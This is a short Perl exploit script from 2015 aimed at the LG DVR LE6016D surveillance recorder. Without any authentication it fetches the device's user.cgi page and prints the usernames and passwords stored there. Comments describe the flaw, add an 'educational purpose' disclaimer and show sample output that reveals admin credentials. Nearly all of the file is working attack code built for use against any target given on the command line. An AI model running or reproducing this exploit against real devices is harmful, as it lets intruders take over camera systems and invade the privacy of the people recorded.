#!/usr/bin/perl
#
#              LG DVR LE6016D unauthenticated remote 
#               users/passwords disclosure exploit
#
#
#                Copyright 2015 (c) Todor Donev
#                  <todor.donev at gmail.com>
#                http://www.ethical-hacker.org/
#### 
#
#  Digital video recorder (DVR) surveillance is the use of cameras, 
#  often hidden or concealed, that use DVR technology to record 
#  video for playback or immediate viewing. As technological 
#  innovations have made improvements in the security and 
#  surveillance industry, DVR surveillance has become more 
#  prominent and allows for easier and more versatile security 
#  systems in homes and businesses. A DVR surveillance security 
#  system can be designed for indoor use or outdoor use and can 
#  often involve hidden security cameras, concealed “nanny cams” 
#  for home security, and even personal recording devices hidden 
#  on a person.
#
####
#
#  Description:
#  No authentication (login) is required to exploit this vulnerability. 
#  This program demonstrates how unpatched security bug would enable 
#  hackers to gain control of a vulnerable device while sitting 
#  behind their keyboard, potentially thousands of miles away.
#  An unauthenticated attacker that is connected to the DVR's may be 
#  able to retrieve the device's administrator password allowing them 
#  to directly access the device's configuration control panel.
#
####
#
#  Disclaimer:
#  This or previous programs is for Educational purpose ONLY. Do not 
#  use it without permission.The usual disclaimer applies, especially 
#  the fact that Todor Donev is not liable for any damages caused by 
#  direct or indirect use of the information or functionality provided 
#  by these programs. The author or any Internet provider bears NO 
#  responsibility for content or misuse of these programs or any 
#  derivatives thereof. By using these programs you accept the fact
#  that any damage (dataloss, system crash, system compromise, etc.) 
#  caused by the use of these programs is not Todor Donev's 
#  responsibility.
#
####
#                Use them at your own risk!
#### 
#
#         $ perl lg.pl 133.7.133.7:80
#            LG DVR LE6016D unauthenticated remote
#              users/passwords disclosure exploit
#                    u/p: admin/000000
#                    u/p: user1/000000
#                    u/p: user2/000000
#                    u/p: user3/000000
#                    u/p: LOGOUT/000000
#               Copyright 2015 (c) Todor Donev
#                 <todor.donev at gmail.com>
#               http://www.ethical-hacker.org/
#
####
 
use LWP::Simple;
print "   LG DVR LE6016D unauthenticated remote\n     users/passwords disclosure exploit\n";
if (@ARGV == 0) {&usg; &foot;}
while (@ARGV > 0) {
$t = shift(@ARGV);
}
my $r = get("http://$t/dvr/wwwroot/user.cgi") or die("Error $!");
for (my $i=0; $i <= 4; $i++){
if  ($r =~ m/<name>(.*)<\/name>/g){
print "           u\/p: $1\/";
}
if  ($r =~ m/<pw>(.*)<\/pw>/g){
print "$1\n";
}
}
&foot;
sub usg(){
print "\n Usage: perl $0 <target:port>\n Example: perl $0 133.7.133.7:80\n\n";
}
sub foot(){
print "      Copyright 2015 (c) Todor Donev\n        <todor.donev at gmail.com>\n";
print "      http://www.ethical-hacker.org/\n";
exit;
}